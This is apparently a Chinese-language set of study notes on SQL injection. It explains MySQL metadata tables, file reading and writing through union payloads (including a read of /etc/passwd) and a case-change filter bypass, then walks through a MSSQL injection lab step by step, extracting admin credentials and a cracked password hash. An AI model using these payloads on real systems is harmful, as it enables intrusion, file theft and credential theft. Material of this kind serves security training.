SQL注入 MySQL注入
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据
获取到数据库名称
1 2 3 4 5 6 7 8 9 10 11 mysql> use information_schema; mysql> select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA; +--------------------+----------------------------+ | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | +--------------------+----------------------------+ | information_schema | utf8 | | challenges | gbk | | mysql | latin1 | | performance_schema | utf8 | | security | gbk | +--------------------+----------------------------+
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
1 2 3 4 5 6 7 8 9 10 11 mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5; +---------------+--------------------+---------------------------------------+ | TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | +---------------+--------------------+---------------------------------------+ | def | information_schema | CHARACTER_SETS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY | | def | information_schema | COLUMNS | | def | information_schema | COLUMN_PRIVILEGES | +---------------+--------------------+---------------------------------------+ 5 rows in set (0.00 sec)
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。
1 2 3 4 5 6 7 8 9 10 mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5; +---------------+--------------------+----------------+ | TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | +---------------+--------------------+----------------+ | def | information_schema | CHARACTER_SETS | | def | information_schema | CHARACTER_SETS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATIONS | +---------------+--------------------+----------------+
用户权限表。内容源自 mysql.user 授权表。是非标准表。
1 2 3 4 5 6 7 8 9 10 11 mysql> SELECT * FROM USER_PRIVILEGES limit 0,5; +--------------------+---------------+----------------+--------------+ | GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | +--------------------+---------------+----------------+--------------+ | 'root' @'localhost' | def | SELECT | YES | | 'root' @'localhost' | def | INSERT | YES | | 'root' @'localhost' | def | UPDATE | YES | | 'root' @'localhost' | def | DELETE | YES | | 'root' @'localhost' | def | CREATE | YES | +--------------------+---------------+----------------+--------------+ 5 rows in set (0.00 sec)
文件读写操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 load_file():读取函数 into outfile或into dumpfile:导出函数 路径获取常见方法: 报错显示,遗留文件,漏洞报错,平台配置文件,爆破等 读取文件 -1 union select 1,load_file('文件路径'),3 写入文件 -1 union select 1,'x',3 into outfile '文件路径'--+ 文件路径符号用/,如果是\,要写成\\ 常见文件读取列表: 常见文件写入问题:魔术引号开关 magic_quotes_gpc 魔术引号及常见防护 低版本注入配合读取或暴力 字典或读取 SQL语句干扰符号:' " % ) } 等,具体看写法
参考地址:https://www.sqlsec.com/2020/11/mysql.html
load_file 文件读取
into outfile 或into dumpfile 文件写入
查询是否有写入的权限
1 2 3 4 5 6 mysql> show global variables like '%secure_file_priv%' ; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+
Value
说明
NULL
不允许导入或导出
/tmp
只允许在 /tmp 目录导入导出
空
不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 mysql> select load_file('/etc/passwd' )\G; *************************** 1. row *************************** load_file('/etc/passwd' ): root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false 1 row in set (0.00 sec) ERROR: No query specified mysql>
读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669
如果存在过滤,比如说,把select替换为fuck,可以使用大写绕过过滤,写为Select,mysql对关键字大小写不敏感
select * from user where name like ‘%qyw%’
那么前面带qyw或者后面带qyw的都会被搜出来
值传递的方式,get,post,cookie,request
cookie提交方式,抓包,添加数据
Cookie: 参数=参数值
request是全部接受,用get,post或cookie都可以接受,我们大部分是黑盒测试,不知道对方代码是怎么写的,所以不知道接收数据时采用的是什么方法,如果采用的是request,那随便提交,如果是单一的,在注入时要使用到一些方法,有一些可以修改绕过提交方式
server提交方式,可以获取浏览器的一些值$_SERVER详解 - 刷哥 - 博客园 (cnblogs.com)
json注入 提交的时候写成这种
…
{
“username”:”admin”,
“password”:”123456”
}
或者直接抓个包,按那种格式提交数据
Access注入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 数据库类型:Access、MySQL、SQL server、 结构 access 表名 列名 数据 MySQL等 数据库名 表名 列名 数据 我们进行sql注入时,用到的权限是由连接数据库的用户权限决定的 access数据库在进行注入时,不需要union select,因为它只有一个数据库,直接查询信息就行,它也没有收集数据库名信息,表名信息的表,所以在就行注入时,就只能进行暴力猜 1、判断有几列 2、暴力猜 遗留问题: access注入时,暴力破解如果列名或表名猜解不到
MSSQL(SQL server)注入 MSSQL注入
https://www.cnblogs.com/xishaonian/p/6173644.html
例题为墨者学堂 SQL手工注入漏洞测试(Sql Server数据库)
解题步骤:
1、判断是否是MSSQL
1 2 and exists (select * from sysobjects)--返回正常为mssql(也名sql server) and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
sysobjects是sql server独有的一个数据库
2、判断数据库版本
1 2 and 1=@@version--这个语句要在有回显的模式下才可以哦 and substring((select @@version),22,4)='2005'--适用于无回显模式,后面的2005就是数据库版本,返回正常就是2005的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2005的话就返回正常)
3、判断回显
1 2 由于题目中3是字符类型,所以要加引号 ?id=-2 union all select 1,2,'3',4
4、数据库名称
1 ?id=-2 union all select 1,db_name(),'3',4
得到数据库名称为 mozhe_db_v2
5、爆表
1 ?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
当xtype=’U’ 代表是用户建立的表
得到表名为manage
6、爆字段
1 ?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
解释一下col_name(),与object()
object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.
1 2 3 ?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4 得username ?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4 得password
说明mange表总共有3列,分别为:id、username、password
7、爆数据
1 ?id=-2 union all select 1,(select username from manage) ,(select password from manage where username in ('admin_mz')),4
得到username为admin_mz
password为72e1bfc3f01b7583,MD5解密,password为97285101